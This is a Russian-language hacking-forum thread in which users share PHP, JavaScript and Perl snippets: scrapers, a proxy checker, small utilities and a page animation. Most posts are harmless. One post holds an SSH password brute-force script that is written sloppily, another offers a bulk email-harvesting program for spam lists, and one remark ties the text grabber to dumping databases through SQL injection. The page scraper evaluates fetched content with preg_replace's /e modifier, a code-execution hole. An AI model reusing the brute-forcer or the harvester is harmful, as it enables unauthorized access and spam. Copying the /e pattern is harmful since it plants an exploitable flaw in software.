Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. httpstop

    httpstop New Member

    Joined:
    15 Nov 2007
    Messages:
    6
    Likes Received:
    0
    Reputations:
    -1
    выложите скрипт юзербара плиз
     
  2. HloR09

    HloR09 New Member

    Joined:
    8 Jul 2007
    Messages:
    12
    Likes Received:
    2
    Reputations:
    0
    Пару дней назад по спутниковой рыбалке скачался архивчик со скриптами вот решил выложить т.к. времени нету их просмотреть

    http://rapidshare.ru/513433

    Может кто найдёт чё интересного.
     
  3. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    Простая граббилка текст с сайтов!
    Может я её выкладывал уже...
    PHP:
    <? 
    $f file_get_contents('http://mail.ru/index.php'); 
    preg_match_all'/<b>(.*)<\/b>/iUs' $f$matches); 
    echo 
    $matches[0][0]; 
    ?>
    Выводит всё что между <b> и </b>
     
    1 person likes this.
  4. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    1. зачем?
    2.
    PHP:
    echo $matches[0][0];
    выведет только первое значение $matches
     
  5. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    Полезно при сливи базы через limit, например
     
  6. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Через лимит? Т.е. этот код волшебный и где то там ещё и постфиксный инкремент с циклом?
     
  7. vizard-06

    vizard-06 Elder - Старейшина

    Joined:
    6 Dec 2006
    Messages:
    55
    Likes Received:
    8
    Reputations:
    0
    таково по моему ещё не выкладывали, функция тупо выводит красивость номера %) xyz xy и т.д , мож кому пригодитя...

    PHP:
    <?
    function 
    uin_beautiful($uin) {
        if(
    is_numeric($uin)) {
            
    $length=strlen($uin);
            if(
    $length>=&& $length<=9) {
                
    $buf=substr($uin,0,1);
                for(
    $i=1;$i<$length;$i++) {
                    
    $simvol=substr($uin,$i,1);
                    if(!
    preg_match("/$simvol/",$buf)) {
                        
    $buf.=$simvol;
                    }
                }
                
    $buf_length=strlen($buf);
                switch(
    $buf_length) {
                    case 
    1:
                        return 
    'x';
                    break;
                    case 
    2:
                        return 
    'xy';
                    break;
                    case 
    3:
                        return 
    'xyz';
                    break;
                    case 
    4:
                        return 
    'xyza';
                    break;
                    default:
                        return 
    'ХЗ';
                    break;
                }
            }
            else return 
    'Неверная длинна uin-а';
        }
        else return 
    'Введите верный uin';
    }
    ?>
     
    1 person likes this.
  8. Alekzzzander

    Alekzzzander Elder - Старейшина

    Joined:
    5 Sep 2007
    Messages:
    278
    Likes Received:
    36
    Reputations:
    0
    а случайно http://www.insidepro.com/hashes.php?lang=rus такого скрипта ни у кого нету???
     
  9. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,089
    Likes Received:
    822
    Reputations:
    324
    поищи по форуму, кто то точно писал... ток непомню кто
     
  10. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Скрипт создания пустых файлов

    Так как тему удалили, выложу сюда, чтоб вопросов таких больше не возникало:
    PHP:
    <?
    set_time_limit(0);
    $limit=100// предельное колличество файлов
    for ($i 1$i <= $limit$i++)
    {
    $fp fopen ("$i.txt""w");
    fclose($fp);
    }
    ?>
     
    #250 -=lebed=-, 5 Jan 2008
    Last edited: 5 Jan 2008
  11. GrAmOzEkA

    GrAmOzEkA Elder - Старейшина

    Joined:
    25 Jun 2006
    Messages:
    234
    Likes Received:
    76
    Reputations:
    29
    Ёжик бегающий на сайте :D :D

    index.html
    Code:
    <script language="JavaScript1.2" src=ezjik.js></script>
    <script language="JavaScript1.2">
    
    if (flag) {
    	content = '';
    	createLayer('cnt', 0, 0, true, content);
    	var num = 10;
    	var flakes = new Array(num);
    	for (var i = 0; i < num; i++) {
    		flakes[i] = new Flake('flake' + i);
    		content = '<img src="egw' + i + '.gif" alt="А_ёжик_то_бежит_' + i + '" border=0 width=15 height=21></a>';
    		createLayer(flakes[i].name, 0, 0, false, content);
    	}
    startFlakes();
    }
    </script>
    
    ezjik.js
    Code:
    var bV=parseInt(navigator.appVersion);
    var ns=(document.layers) ? 1 : 0;
    var ie=((document.getElementById) && (bV >= 4)) ? 1 : 0;
    var ff = ((navigator.appName == "Netscape") && (bV >= 5)) ? 1 : 0;
    var flag = (ns || ie) ? 1 : 0;
    var timerID;
    var timerIDl;
    var timerIDr;
    var kurs = -0.5;
    var nomer = 0;
    var lasta = 8;
    var egx = 0;
    var egy = 0;
    var egvx = 4;
    var egvy = 2;
    var tut = 200;
    
    var vmin = 1;
    var vmax = 10;
    var vr = 5;
    
    
    function createLayer(name, left, top, visible, content) {
    	var layer;
    	if (ns) {
    		document.writeln('<layer name="' + name + '" left=' + left + ' top=' + top + ' width=120 height=84 visibility=' + (visible ? '"show"' : '"hide"') + '>');
    		document.writeln(content);
    		document.writeln('</layer>');
    		layer = getLayer(name);
    		layer.width = 120;
    		layer.height = 84;
    	}
    	if (ie) {
    		document.writeln('<div id="' + name + '" style="position:absolute; left:' + left + 'px; top:' + top + 'px; width:120px; height:84px; visibility:' + (visible ? 'visible;' : 'hidden;') + '">');
    		document.writeln(content);
    		document.writeln('</div>');
    	}
    }
    
    function Flake(chipname) {	this.name = chipname; }
    
    function startFlakes() {
    	if (!flag) { return; }
    	var i;
    	getWindowSize();
    			egx = pageW * Math.random() + pageX;
    	   	egy = pageH * Math.random() + pageY;
    	for (i = 0; i < flakes.length; i++) {
    		moveLayer(flakes[i].name, egx, egy);
    		hideLayer(flakes[i].name);
      	}
    	buzz();
    }
    
    function moveLayer(name, x, y) {
    	var layer = getLayer(name);
    	if (ns) { layer.moveTo(x, y); }
    	if (ie) { layer.left = x; layer.top  = y; }
    }
    
    function showLayer(name) {
    	var layer = getLayer(name);
    	if (ns) { layer.visibility = "show"; }
    	if (ie) { layer.visibility = "visible"; }
    }
    
    function hideLayer(name) {
    	var layer = getLayer(name);
    	if (ns) { layer.visibility = "hide"; }
    	if (ie) { layer.visibility = "hidden"; }
    }
    
    
    function getLayer(name) {
    	if (ns) {
    		return(document.layers[name]);
    	} else if (ie) {
    		layer = eval('document.getElementById("' + name + '").style');
    		return(layer);
    	} else {
    		return(null);
    	}
    }
    
    function getWindowSize() {
    	if(ns || ff) {
    		pageX=window.pageXOffset;
    		pageW=window.innerWidth - 20 - 120;
    		pageY=window.pageYOffset;
    		pageH=window.innerHeight - 8 - 84;
    		if (ff) pageH -= 4;
    	} else {
    		pageX=document.body.scrollLeft;
    		pageW=document.body.offsetWidth - 20 - 120;
    		pageY=document.body.scrollTop;
    		pageH=document.body.offsetHeight - 8 - 84;
    	} } 
    
    
    function buzz() {
    
    	hideLayer(flakes[ lasta ].name);
    	getWindowSize();
    	egx += egvx*kurs*6;
    	egy += egvy*2;
    	if(egy >= pageY + pageH) { egvy *= -1; egy = pageY + pageH; }
    	if(egy <= pageY) { egvy = egvy *= -1; egy = pageY; }
    	if (egx < pageX) { egx = pageX; }
    	if (egx > pageX + pageW) { egx = pageX + pageW; }
    		
    	egvx += vr * (Math.random()-0.5);
    	if(egvx > vmax)  { egvx = vmax*2 - egvx; }
    	if(egvx < vmin) { egvx = vmin*2 - egvx; }
    	egvy += (Math.random()-0.5);
    	if((egvy > (vmax/2))||(egvy < (-vmax)/2))  { egvy = 0; }
    	
    	if (	(Math.random() > 0.96) || (egx <= pageX) || (egx >= pageX + pageW)	)
    	{
    	  showLayer(flakes[ lasta ].name);
    	  kurs *= -1;
    	  timerID = setTimeout("buzz()", tut*2);
    	  
    	  if (kurs < 0)
    	  	{
    	  buzr();
    	  timerIDr = setTimeout("buzl()", tut);
    	   }
    	   else
    	   {	  
    	  buzl();
    	  timerIDr = setTimeout("buzr()", tut);
    	   }
       }
    
    	else 
    	
    	{	
    		nomer = nomer + 2;
       	if ( nomer >= 8 ) { nomer = nomer - 8; }	
       	lasta = nomer + 0.5 + kurs;
    		moveLayer(flakes[ lasta ].name, egx, egy);
    		showLayer(flakes[ lasta ].name);	
    		timerID = setTimeout("buzz()", tut);		
    	}	
    }
    
    
    function buzl() {
       hideLayer(flakes[ lasta ].name);
    	lasta = 8;
       moveLayer(flakes[ lasta ].name, egx, egy);
    	showLayer(flakes[ lasta ].name);	
    }
    
    function buzr() {
       hideLayer(flakes[ lasta ].name);
       lasta = 9;
    	moveLayer(flakes[ lasta ].name, egx, egy);
    	showLayer(flakes[ lasta ].name);	
    }
    Картинки с ёжиком http://slil.ru/25352370
     
  12. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    Дата + время)
    Code:
    <SCRIPT type="text/javascript">
    var months=new Array(13);
    months[1]="января";
    months[2]="февраля";
    months[3]="марта";
    months[4]="апреля";
    months[5]="мая";
    months[6]="июня";
    months[7]="июля";
    months[8]="августа";
    months[9]="сентября";
    months[10]="октября";
    months[11]="*ноября";
    months[12]="декабря";
    var time=new Date();
    var lmonth=months[time.getMonth() + 1];
    var date=time.getDate();
    var year=time.getYear();
    var hours=time.getHours();
    var minutes=time.getMinutes();
    if (eval(hours) <10) {hours="0"+hours}
    if (eval(minutes) < 10) {minutes="0"+minutes}
    if (year < 2000)
    year = year + 1900;
    document.write("Сейчас: " + date + " ");
    document.write(lmonth + " " + year + ", " + hours + ":" + minutes + " ");
    </SCRIPT>
    
     
  13. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    Нужно поверх картинки поместить URL сайта
    тут есть пример http://www.codenet.ru/webmast/php/Image-Resize-GD/ - но текст нельзя каким-то образом позиционировать на картинке
     
  14. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    В общем не помню, кому именно спасибо за идею (не смог найти), но используя скелет кода, написал прогу для парсинга e-mail с форумов (не судит строго, первый опыт на php, но работает, как не странно), итак:

    Forum e-mail parser - e-mail парсер с форумов. Принцип работы - парсит всё мыло с любого вида форумов, но при условии, что вам известны стартовая страница интересующей темы форума и конечная страница интересующей темы форума и динамически изменяющейся величиной в ссылке является ПОСЛЕДНИЙ символ. Пример: http://www.бла-бла-бла.ru/viewtopic.php?t=5821, где 5821 - номер интересующей вас страницы.
    В комплекте идут 5 файлов:
    1. fmailparser1.0.exe - сама программа
    2. url.txt - сюда забиваете url интересующго форума без номера страницы, если посмотреть выше, то:
    http://www.бла-бла-бла.ru/viewtopic.php?t=
    3. pages_start.txt - сюда забиваете номер страницы, с которой хотите начать сканирование на e-mail. В данном случае -
    5821
    4. pages_end.txt - сюда забиваете номер последней страницы для сканирования. Например:
    5822
    5. ReadmeFIRST.txt - этот файл
    Просто создайте отдельную директорию, распакуйте туда все 5 файлов, сделайте необходимые настройки и запустите fmailparser1.0.exe и все найденные e-mail будут сохранены в файл emails.txt ( 0,5 мГб )

    Еще раз прошу прощения за то, что не смог вспомнить автора идеи, но риспект огроменный.

    В архиве лежит пример с реальными параметрами. Просто запустите fmailparser1.0.exe и поймете суть проги.

    Скачать здесь: http://pashkela.narod.ru/progi/fmailparser1.0.rar
     
    #254 Pashkela, 15 Jan 2008
    Last edited: 15 Jan 2008
    1 person likes this.
  15. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    чистилка кода

    для случаев когда есть грязный код, который в ручную неудобно чистить, написал скрипт(он еще много для чего пригодица)
    PHP:
    $dirty '</td>
    </tr>
    </table>
    <table>
            <tr>
                <td class="content">код который нужен</td>
            </tr>
    </table>'
    ;
    $n strpos($dirty,'<table'); //считаем кол-во символов от начала кода до нужного нам места
    $clear substr($dirty$n);//берем код начиная с символа $n до конца
    $clear // - готово
    у меня был массив набитый такими таблицами с херней в коде,этим скриптом очистил
     
    1 person likes this.
  16. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    713
    Likes Received:
    95
    Reputations:
    12
    незнаю точно выкладывали ли тут бруте shh если нет то вот он



    #!/usr/bin/perl
    #c0dex by m0x.lk || ~censored~ Team ||
    system ("clear");
    system ("cls");
    system ("color 02");
    print "\n\n";
    print "\t\t\tc0dex by m0x.lk\n\n";
    print "\tm0x.lk || ~censored~ Team";
    print "\t\t BruteSSH by m0x.lk\n";
    sleep 1;

    use strict();
    use Net::SSH;

    $host=$ARGV[0];
    $user=$ARGV[1];
    $passdict=$ARGV[2] || die "\n[+]Perl Usage: BruteSSH.pl host user dict\n";
    print "\n\n";
    $i = 1;
    open (D,"<$passdict") or die "Diccionario no encontrado\n";
    while(<D>)
    {
    $try = $_;
    chomp $try;

    $t = my $ssh = Net::SSH::perl->new($host,debug=>1,use_pty=>1);
    $ssh->login($user, $try);
    print "\n";
    print "[+] Obteniendo Pass";
    print "\n";
    print $i++ . ": Fallo - $try\n";

    print "'$try - $i intentos";
    last;
    $t->close;
    }
    close(IN);
     
  17. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    функция меняет кусок кода или текста, выделенный вами, на то что хотите:
    функция:
    PHP:
    <?
    function 
    replacer($a$start$end$replacement)
    {
            if (
    is_array ($a))
        {
            for (
    $i=0$i<count($a); $i++)
            {
        
    $result[] = preg_replace('!'.$start.'(.*?)'.$end.'!si'$replacement$a[$i]);
            }
        }
            else
        {
        
    $result preg_replace('!'.$start.'(.*?)'.$end.'!si'$replacement$a);
        }
    return 
    $result;
    }
    ?>
    использование:
    PHP:
    <?
    $a 'привет, меня зовут Корвин'//текст или массив в котором нужно произвести замену, если массив то без ' '
    $start 'меня'//начало заменяемого, это может быть символ или слово, оно тоже будет заменено
    $end 'зовут'//конец заменяемого
    $replacement 'йа'//то, на что меняем, если на пустоту, то ставим ' '

    $str replacer($a$start$end$replacement); // готово, измененный текст помещен в $str
    echo $str;
    //print_r ($str); //если массив
    ?>
    если пригодица,подкиньте репы=)
     
    2 people like this.
  18. D0S

    D0S Elder - Старейшина

    Joined:
    6 Jan 2007
    Messages:
    44
    Likes Received:
    7
    Reputations:
    0
    Мой первый сексуальный опыт с пхп. :D
    Граббер радиостанций с shoutcast.org
    PHP:
    <table cellpadding="0" cellspacing="0" style="border:1px solid #000000">
    <tr>
    <th>
    <?
    if (!$addr){
    $EXTERNALPAGE = importPage("http://www.shoutcast.com/directory/index.phtml?startat=0&numresult=30&s=gabber");
    }
    else {
    $EXTERNALPAGE = importPage($addr);
    }
    function importPage( $addr ) {

      $pattern1 = '|(http://)([^/]*)/{0,1}(.*)|';
      $base = "";
      if (preg_match($pattern1, $addr, $list)) {
        $server = "http://".$list[2];
        $fullpath = $list[3];
        $pattern11 = '|(.*)/([^/]*)$|';

        if ( preg_match($pattern11, $fullpath, $list) ) {
          $path = $list[1];
          $fname = $list[2];
        } else {
          $path = "";
          $fname = $fullpath;
        }
        if ($path) $path = "/".$path;
        $base = $server.$path;
      }

      $arr = @file($addr);
      if ( !$arr ) return "Page not found!";
      $str = join( "", $arr );

      $pattern2 = '|<table border="0" cellpadding="0" cellspacing="0" align="center">(.*)<td nowrap align="center" width="10">|sei';
      if (preg_match($pattern2, $str, $list)) $str = $list[1];

      $pattern3 =
        '/(<img\s.*?src\s*=\s*("{0,1}))([^">]*)(\2[^>]*>)/sei';

      $str = preg_replace($pattern3,
        "stripslashes((strpos('\\3','ttp:')<=0) ".
               "?((strspn('\\3','/')<=0)".
                 "?'\\1$base/\\3\\4'".
                 ":'\\1$server\\3\\4' )".
               ":'\\0')",
        $str);

      $pattern4 =
        '/(<a\s.*?href\s*=\s*("{0,1}))([^">]*)(\2[^>]*>)/sei';
      $str = preg_replace($pattern4,
        "stripslashes((strpos('\\3','ttp:')<=0)&&".
                     "(strpos('\\3','ailto:')<=0) &&".
                     "(Ord('\\3')!=Ord('#')) ".
               "?((strspn('\\3','/')<=0)".
                 "?'\\1$base/\\3\\4'".
                 ":'\\1$server\\3\\4' )".
               ":'\\0')",
        $str);

    $str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=title&s=drum&numresult=30 "id="dirlinks">Description</a>', 'Description', $str);
    $str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=listeners&s=drum&numresult=30 "id="dirlinks">Listeners/Max</a>', 'Listeners / Max', $str);
    $str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=bitrate&s=drum&numresult=30 "id="dirlinks">Bitrate</a>', 'Bitrate', $str);
    $str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=content&s=drum&numresult=30 "id="dirlinks">Type</a>', 'Type', $str);

      return $str;
    }

    ?>

    <?= $EXTERNALPAGE?>
    </th>
    </tr>
    </table>
    ЗЫ. Щас я видоуроки с евгением поповым досмотрю еще че нить придумаю... :D
     
    3 people like this.
  19. alexman90

    alexman90 Banned

    Joined:
    25 Oct 2007
    Messages:
    80
    Likes Received:
    74
    Reputations:
    -5
    Прошу выложить у кого есть работоспособный прокси чекер... а то я сегодня ночью пролистал ВСЮ тему, скачал 5 прокси чекеров на пхп, но как начал проверять....не пашут... вот гляньте http://fata1team.onep.ru/proxy-chekers/proxy_cheker.php - это первый. а вот этот вообще оказался только прокси листом... где прокси давно дохлые... http://fata1team.onep.ru/proxy-chekers/proxy-cheker1.php. и ещё... http://fata1team.onep.ru/proxy-chekers/proxy-cheker2.php - в этот я впихнул в файл proxy.txt список рабочих проксей...но ни чё не выдаёт... и пробовал пихать в файл proxyes.txt... тоже безрезультатно=(( может в бесплатных хостингах проблема? хотя на онеп.ру есть даже сокеты... зы ещё тестил на джино-нет.ру и на freehostia.com... объясните пожалуйста в чём тут дело...
     
  20. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    прокси-чекер

    Вот 100% рабочий:
    PHP:
    <?php 

    // Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config) 
       
    error_reporting(0); 
    // Limit the amount of proxies that can be tested at any one time 
       
    $maximum_proxies_to_test 50
    // Enter a password (if required) to protect the page 
       
    $password ''

    // Actual proxyjudge part of the page 
       
    function return_env_variables() 
       { 
          echo 
    '<pre>'."\n"
          foreach (
    $_SERVER as $header => $value 
          { 
            if ((
    strpos($header 'REMOTE')!== false || strpos($header 'HTTP')!== false || strpos($header 'REQUEST')!== false) && ( strpos($header 'HTTP_HOST') !== 0)) 
            { 
            echo 
    $header.' = '.$value."\n"
            } 
          } 
          echo 
    '</pre>'
       } 

    // Function to go away and get the page (calls through the proxy back to itself) 
       
    function get_judge_page($proxy
       { 
       
    // Depending on the server environment, this timeout setting may not be available.     
          
    $timeout 15
          
    $proxy_cont ''
          list(
    $proxy_host$proxy_port) = explode(":"$proxy); 
          
    $proxy_fp fsockopen($proxy_host$proxy_port$errornumber$errorstring$timeout); 
          if (
    $proxy_fp
          { 
             
    stream_set_timeout($proxy_fp$timeout); 
             
    fputs($proxy_fp"GET " $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " $_SERVER['SERVER_NAME'] . "\r\n\r\n"); 
             while(!
    feof($proxy_fp)) 
             { 
                   
    $proxy_cont .= fread($proxy_fp,4096); 
             } 
             
    fclose($proxy_fp); 
             
    $proxy_cont substr($proxy_contstrpos($proxy_cont,"\r\n\r\n")+4); 
          } 
          return 
    $proxy_cont;    
       } 

    // Check for the control string to see if it's a valid fetch of the judge 
       
    function check_valid_judge_response($page
       { 
          if(
    strlen($page) < 5
             return 
    false
          return 
    strpos($page'REMOTE_ADDR') !== false
       } 

    // Check for the IP addresses 
       
    function check_anonymity($page
       { 
          if(
    strpos($page$_SERVER['LOCAL_ADDR']) !== false
             return 
    false
          return 
    true
       } 

    // Takes and tests a proxy 
    // 0 - Bad proxy 
    // 1 - Good (non anon) proxy 
    // 2 - Good (anonymous) proxy 
       
    function test_proxy($proxy
       { 
          
    $page get_judge_page($proxy); 
          if(!
    check_valid_judge_response($page)) 
             return 
    0
          if(!
    check_anonymity($page)) 
             return 
    1
          return 
    2
       } 

    ////////// Main Page //////////// 

    // If this is a judge request, just return the environmental variables 
       
    if(getenv('QUERY_STRING') == "test"
       { 
          
    return_env_variables(); 
       } 
    // Else check whether we have been passed a list of proxies to test or not 
    // Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x) 
       
    elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') && 
               (isset(
    $HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') && 
               ( (
    strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) )) 
       { 
          
    $proxies explode("\n"str_replace("\r"""$HTTP_POST_VARS['proxies']), $maximum_proxies_to_test 1); 
           
       
    // Set the overall time limit for the page execution to 10 mins 
          
    set_time_limit(600); 
           
       
    // Set up some arrays to hold the results 
          
    $anon_proxies = array(); 
          
    $nonanon_proxies = array(); 
          
    $bad_proxies = array(); 
        
       
    // Loop through and test the proxies 
          
    for($thisproxy 0$thisproxy < ($maximum_proxies_to_test count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1
          { 
               
    $draculalol htmlspecialchars($proxies[$thisproxy]);
             echo 
    '' $draculalol ''
             
    flush(); 
             switch(
    test_proxy($proxies[$thisproxy])) 
             { 
                case 
    2
                  echo 
    ' - <font color="green">Анонимная</font><br>' "\n"
                   
    $anon_proxies[count($anon_proxies)] = $proxies[$thisproxy]; 
                   break; 
                case 
    1
                  echo 
    ' - <font color="yellow">Не анонимная</font><br>' "\n"
                   
    $nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy]; 
                   break; 
                case 
    0
                  echo 
    ' - <font color="red">Не рабочая</font><br>' "\n"
                   
    $bad_proxies[count($bad_proxies)] = $proxies[$thisproxy]; 
                   break; 
             } 
          } 
        
          echo 
    '<pre>'
          echo 
    '<br><b><font color="green" size="2">Анонимные прокси:</font></b>' "\n"
          for(
    $thisproxy 0$thisproxy count($anon_proxies); $thisproxy += 1
             echo 
    $anon_proxies[$thisproxy] . "\n"
          echo 
    '<br><b><font color="yellow" size="2">Не анонимные прокси:</font></b>' "\n"
          for(
    $thisproxy 0$thisproxy count($nonanon_proxies); $thisproxy += 1
             echo 
    $nonanon_proxies[$thisproxy] . "\n"
          echo 
    '<br><b><font color="red" size="2">Не рабочие прокси:</font></b>' "\n"
          for(
    $thisproxy 0$thisproxy count($bad_proxies); $thisproxy += 1
                
    $xek htmlspecialchars($bad_proxies[$thisproxy]);
             echo 
    $xek "\n"
          echo 
    '</pre>'
       } 
    // Just a blank call of the page - show the form for the user to fill in 
       
    else 
       {  
         
          echo 
    '<form method="POST" action="' $_SERVER['SCRIPT_NAME'] . '">' "\n"
          echo 
    '<input type="hidden" name="action" value="fred">' "\n"
          echo 
    '<textarea name="proxies" cols=50 rows=10></textarea><br>' "\n";
          if(
    strlen($password) > 0)    
             echo 
    'Password: <input type="password" name="password" size="15"><br>' "\n"
          echo 
    '<input type="submit" value="Старт">' "\n"
          echo 
    '</form>' "\n"
       } 
    ?> 
     
    1 person likes this.